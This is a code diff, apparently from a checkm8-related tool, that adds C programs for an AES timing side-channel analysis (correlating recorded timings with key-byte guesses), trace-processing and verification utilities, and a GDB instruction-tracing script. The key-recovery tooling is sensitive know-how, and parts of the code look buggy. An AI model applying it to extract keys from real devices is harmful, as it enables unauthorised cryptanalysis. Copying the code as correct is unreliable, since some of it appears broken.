struct aes_constants *c;
unsigned char key[16], key_sched[176], msg_new[16], key_hyp;
double cov, pearson, temp;
struct summary_stats *timing_stats, *model_stats;
unsigned char *msg = NULL, *timings = NULL, *model = NULL;
MPI_Status status;
if(argc != 2)
{
printf("usage: analyze [data dir]\n");
return -1;
}
/*
* First, read in the data from each file
*/
if(ANALYZE_DEBUG)
printf("initializing MPI\n");
MPI_Init(&argc, &argv);
MPI_Comm_rank(MPI_COMM_WORLD, &rank);
MPI_Comm_size(MPI_COMM_WORLD, &nodes);
if(ANALYZE_DEBUG)
printf("getting initial sizes\n");
sprintf(timing_name, "%s/timing_key00_%i.bin", argv[1], rank);
sprintf(msg_name, "%s/msg_key00_%i.bin", argv[1], rank);
if(stat(timing_name, &timing_finfo) != 0)
{
printf("failed to stat %s\n", timing_name);
return -1;
}
if(stat(msg_name, &msg_finfo) != 0)
{
printf("failed to stat %s\n", msg_name);
return -1;
}
trace_per_file = timing_finfo.st_size;
msg_per_file = msg_finfo.st_size / 16;
num_traces = trace_per_file * FILE_PER_NODE;
if(ANALYZE_DEBUG)
printf("%i traces per file, %i msgs per file, %i total traces\n",
trace_per_file, msg_per_file, num_traces);
sprintf(timing_name, "%s/KEY", argv[1]);
keyfile = fopen(timing_name, "r");
if(keyfile == NULL)
{
printf("failed to open key file\n");
return -1;
}
for(i = 0; i < 16; i++)
{
fread(key_sched, 1, 2, keyfile);
key_sched[2] = 0;
key[i] = (unsigned char) strtol((char *) key_sched, NULL, 16);
}
fclose(keyfile);
if(ANALYZE_DEBUG)
printf("allocating memory\n");
// allocate memory (big!)
model = malloc(64 * num_traces);
msg = malloc(16 * num_traces);
timings = malloc(num_traces);
c = get_constants();
expand_key(key, key_sched, 11, c);
if(ANALYZE_DEBUG)
printf("beginning data read stage\n");
for(i = 0; i < FILE_PER_NODE; i++)
{
sprintf(timing_name, "%s/timing_key00_%i.bin", argv[1], rank * FILE_PER_NODE + i);
sprintf(msg_name, "%s/msg_key00_%i.bin", argv[1], rank * FILE_PER_NODE + i);
read_data(timings, timing_name, trace_per_file * (i % FILE_PER_NODE), trace_per_file);
read_data(msg, msg_name, msg_per_file * (i % FILE_PER_NODE), msg_per_file);
}
/*
* Then expand the messages so that we can create power models
*/
if(ANALYZE_DEBUG)
printf("beginning data expand stage\n");
#pragma omp parallel for num_threads(32) default(none) \
firstprivate(key_sched, msg_per_file) \
private(msg_new, j) \
shared(msg, c)
for(i = 0; i < FILE_PER_NODE * msg_per_file; i++)
{
memcpy(&msg[i * MSG_SEPARATE], &msg[i], 16);
memcpy(msg_new, &msg[i * MSG_SEPARATE], 16);
for(j = 0; j < MSG_SEPARATE - 1; j++)
{
aes128_encrypt_ecb(msg_new, 16, key_sched, c);
memcpy(&msg[i * MSG_SEPARATE + j + 1], msg_new, 16);
}
aes128_encrypt_ecb(msg_new, 16, key_sched, c);
for(j = 0; j < 16; j++)
{
if(msg_new[j] != msg[(i + 1) * MSG_SEPARATE - 16 + j])
{
break;
}
}
}
/*
* Start iterating through the byte positions
*/
timing_stats = calculate_stats(timings, num_traces, 1, 0, rank, nodes);
for(i_byte = 0; i_byte < 16; i_byte++)
{
for(i_key_split = 0; i_key_split < 4; i_key_split++)
{
#pragma omp parallel for num_threads(32) default(none) \
firstprivate(i_key_split, i_byte, num_traces) \
private(key_hyp, i_input) \
shared(model, msg) \
for(i_key = 0; i_key < 64; i_key++)
{
key_hyp = 4 * i_key_split + i_key;
for(i_input = 0; i_input < num_traces; i_input++)
{
//TODO: power model if this doesn't work
model[i_key * num_traces + i_input] = (msg[i_input * 16 + i_byte] ^ key_hyp) % 64;
}
}
for(i_key = 0; i_key < 64; i_key++)
{
model_stats = calculate_stats(model, num_traces, 1, i_key * num_traces, rank, nodes);
cov = 0;
#pragma omp parallel for num_threads(32) default(none) \
firstprivate(num_traces, i_key) \
shared(model, model_stats, timings, timing_stats) \
reduction(+:cov)
for(i_input = 0; i_input < num_traces; i_input++)
{
cov += (model[i_key * num_traces + i_input] - model_stats->mean) *
(timings[i_input] - timing_stats->mean);
}
if(rank == 0)
{
for(i = 1; i < nodes; i++)
{
MPI_Recv(&temp, 1, MPI_DOUBLE, i, 0, MPI_COMM_WORLD, &status);
cov += temp;
}
cov /= (num_traces * nodes);
pearson = cov / (model_stats->stddev * timing_stats->stddev);
printf("%i\t%i\t%i\t%f\n", i_byte, i_key_split, i_key, pearson);
}
else
{
MPI_Send(&cov, 1, MPI_DOUBLE, 0, 0, MPI_COMM_WORLD);
}
}
}
}
free(timing_stats);
}

View File

@@ -0,0 +1,83 @@
#include <stdio.h>
#include <string.h>
#include <libgen.h>
struct entry
{
unsigned char msg[16];
unsigned char pad0;
unsigned char timing;
unsigned char pad1[2];
} __attribute__ ((packed));
int main(int argc, char *argv[])
{
FILE *infile, *timingfile, *msgfile;
char fname[128], c1[128], c2[128], *path, *name;
strcpy(c1, argv[1]);
strcpy(c2, argv[1]);
int count = 0;
unsigned long read;
struct entry e;
if(argc != 2)
{
printf("usage: strip [fname]\n");
return -1;
}
path = dirname(c1);
name = basename(c2);
infile = fopen(argv[1], "rb");
if(infile == NULL)
{
printf("failed to open file %s\n", argv[1]);
return -1;
}
sprintf(fname, "%s/timing_%s", path, name);
timingfile = fopen(fname, "wb");
if(timingfile == NULL)
{
printf("failed to open timing output\n");
return -1;
}
sprintf(fname, "%s/msg_%s", path, name);
msgfile = fopen(fname, "wb");
if(msgfile == NULL)
{
printf("failed to open message output\n");
return -1;
}
while(!(ferror(infile) || feof(infile)))
{
read = fread(&e, sizeof(struct entry), 1, infile);
if(read != 1)
break;
fwrite(&e.timing, 1, 1, timingfile);
if(count % (1024 * 256) == 0)
{
fwrite(&e.msg, 16, 1, msgfile);
printf("stripped %i entries\n", count);
}
count++;
}
printf("strip finished with ferror %i feof %i\n", ferror(infile), feof(infile));
fflush(timingfile);
fflush(msgfile);
fclose(infile);
fclose(timingfile);
fclose(msgfile);
return 0;
}

View File

@@ -0,0 +1,147 @@
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <math.h>
#include "host_crypto.h"
int main(int argc, char *argv[])
{
int b, i, j, k, l, num;
unsigned char timing;
unsigned char msg[16];
unsigned char key[16];
unsigned char key_sched[176];
struct aes_constants *c;
double t[16][256];
double tsq[16][256];
double tnum[16][256];
double u[16][256];
double udev[16][256];
double taverage;
unsigned long long count = 0, ttotal = 0;
FILE *keyfile, *msgfile, *timefile, *outfile;
char timing_name[256], msg_name[256], linebuf[256];
if(argc != 2)
{
printf("usage: verify [data dir]\n");
return -1;
}
sprintf(timing_name, "%s/KEY", argv[1]);
keyfile = fopen(timing_name, "r");
if(keyfile == NULL)
{
printf("failed to open key file\n");
return -1;
}
for(i = 0; i < 16; i++)
{
fread(key_sched, 1, 2, keyfile);
key_sched[2] = 0;
key[i] = (unsigned char) strtol((char *) key_sched, NULL, 16);
}
fclose(keyfile);
c = get_constants();
expand_key(key, key_sched, 11, c);
for(i = 0; i < 46; i++)
{
num = 0;
sprintf(msg_name, "%s/msg_key00_%i.bin", argv[1], i);
sprintf(timing_name, "%s/timing_key00_%i.bin", argv[1], i);
msgfile = fopen(msg_name, "rb");
if(msgfile == NULL)
{
printf("failed to open msgfile %s\n", msg_name);
return -1;
}
timefile = fopen(timing_name, "rb");
if(timefile == NULL)
{
printf("failed to open timing file %s\n", timing_name);
return -1;
}
printf("file %i\n", i);
for(j = 0; j < 375; j++)
{
fread(msg, 16, 1, msgfile);
fread(&timing, 1, 1, timefile);
printf("%i\t", num++);
for(k = 0; k < 16; k++)
printf("%02X", msg[k]);
for(k = 0; k < 1024 * 256; k++)
{
for(l = 0; l < 16; l++)
{
t[l][msg[l]] += timing;
tsq[l][msg[l]] += (timing * timing);
tnum[l][msg[l]] += 1;
count++;
ttotal += timing;
}
fread(&timing, 1, 1, timefile);
aes128_encrypt_ecb(msg, 16, key_sched, c);
}
printf(" -> ");
for(k = 0; k < 16; k++)
printf("%02X", msg[k]);
printf("\n");
}
fclose(msgfile);
fclose(timefile);
}
taverage = ttotal / (double) count;
for(j = 0; j < 16; j++)
{
for(b = 0; b < 256; b++)
{
u[j][b] = t[j][b] / tnum[j][b];
udev[j][b] = tsq[j][b] / tnum[j][b];
udev[j][b] -= u[j][b] * u[j][b];
udev[j][b] = sqrt(udev[j][b]);
}
}
sprintf(linebuf, "dat_%lli.dat", count / 16 / 100000);
outfile = fopen(linebuf, "w+");
if(outfile == NULL)
{
printf("failed to open data file\n");
return -1;
}
for(j = 0; j < 16; j++)
{
for(b = 0; b < 256; b++)
{
sprintf(linebuf,
"%2d %3d %lli %f %f %f %f\n",
j, b, (long long) tnum[j][b],
u[j][b], udev[j][b],
u[j][b] - taverage, udev[j][b] / sqrt(tnum[j][b]));
fputs(linebuf, outfile);
}
}
fclose(outfile);
}

View File

@@ -0,0 +1,20 @@
#ifndef CHECKM8_TOOL_HOST_CRYPTO_H
#define CHECKM8_TOOL_HOST_CRYPTO_H
struct aes_constants
{
unsigned char sbox[16][16];
unsigned char rc_lookup[11];
unsigned char mul2[256];
unsigned char mul3[256];
} __attribute__ ((packed));
void expand_key(unsigned char key[16], unsigned char key_sched[176],
int n, struct aes_constants *c);
void aes128_encrypt_ecb(unsigned char *msg, unsigned int msg_len,
unsigned char key_sched[176], struct aes_constants *c);
struct aes_constants *get_constants();
#endif //CHECKM8_TOOL_HOST_CRYPTO_H

111
tools/scripts/profile.py Normal file
View File

@@ -0,0 +1,111 @@
import gdb
def val_from_sym(name):
print 'getting value for %s' % name
try:
if name == 'wzr' or name == 'xzr':
return '0'
elif name[0] == '#':
return name
elif name[0] in ['x', 'w']:
return '0x{:x}'.format(int(gdb.selected_frame().read_register(name)))
else:
return None
except:
return 'val?'
class Profile(gdb.Command):
def __init__(self):
super(Profile, self).__init__("profile", gdb.COMMAND_USER)
def invoke(self, args, from_tty):
argv = gdb.string_to_argv(args)
if len(argv) != 1:
raise gdb.GdbError("Usage: profile [fname]")
arch = gdb.selected_frame().architecture()
instr_type = gdb.lookup_type("unsigned int").pointer()
next_dest = None
stack = []
outfile = open(argv[0], "a+")
while True:
if next_dest is not None:
outfile.write('\tdest %s\n' % val_from_sym(next_dest))
next_dest = None
addr = gdb.selected_frame().read_register("pc")
instr = arch.disassemble(int(str(addr), 16))[0]['asm']
if instr == '.inst\t0x00000000 ; undefined':
break
instr_spl = instr.split()
mnem = instr_spl[0]
dest = None
arg1 = None
arg2 = None
outfile.write('\n%s\t%s\n' % (addr, instr))
if len(instr_spl) > 1:
dest = instr_spl[1].strip(',')
if len(instr_spl) > 2:
arg1 = instr_spl[2].strip(',')
if len(instr_spl) > 3:
arg2 = instr_spl[3].strip(',')
if mnem == 'bl' or mnem == 'blr':
outfile.write('\tentering %s\n' % dest)
stack.append(dest)
outfile.write('\targs: [')
for reg in ['x0', 'x1', 'x2', 'x3', 'x4', 'x5', 'x6', 'x7']:
outfile.write('%s, ' % val_from_sym(reg))
outfile.write(']\n')
elif mnem == 'ret':
if len(stack) > 0:
outfile.write('\tfinished %s\n' % stack.pop())
else:
outfile.write('\tfinished ??\n')
outfile.write('\tretval %s\n' % val_from_sym('x0'))
elif mnem == 'ldr' or mnem == 'ldp':
outfile.write('\tdest %s\n' % val_from_sym(dest))
if mnem == 'ldp':
outfile.write('\tdest %s\n' % val_from_sym(arg1))
elif mnem == 'str' or mnem == 'stp':
outfile.write('\targ1 %s\n' % val_from_sym(dest))
if mnem == 'stp':
outfile.write('\targ2 %s\n' % val_from_sym(arg1))
else:
if dest is not None and dest[0] in ['x', 'w']:
next_dest = dest
if arg1 is not None:
val = val_from_sym(arg1)
if val is not None:
outfile.write('\targ1 %s\n' % val)
if arg2 is not None:
val = val_from_sym(arg2)
if val is not None:
outfile.write('\targ2 %s\n' % val)
gdb.execute("stepi", to_string=False)
outfile.close()
Profile()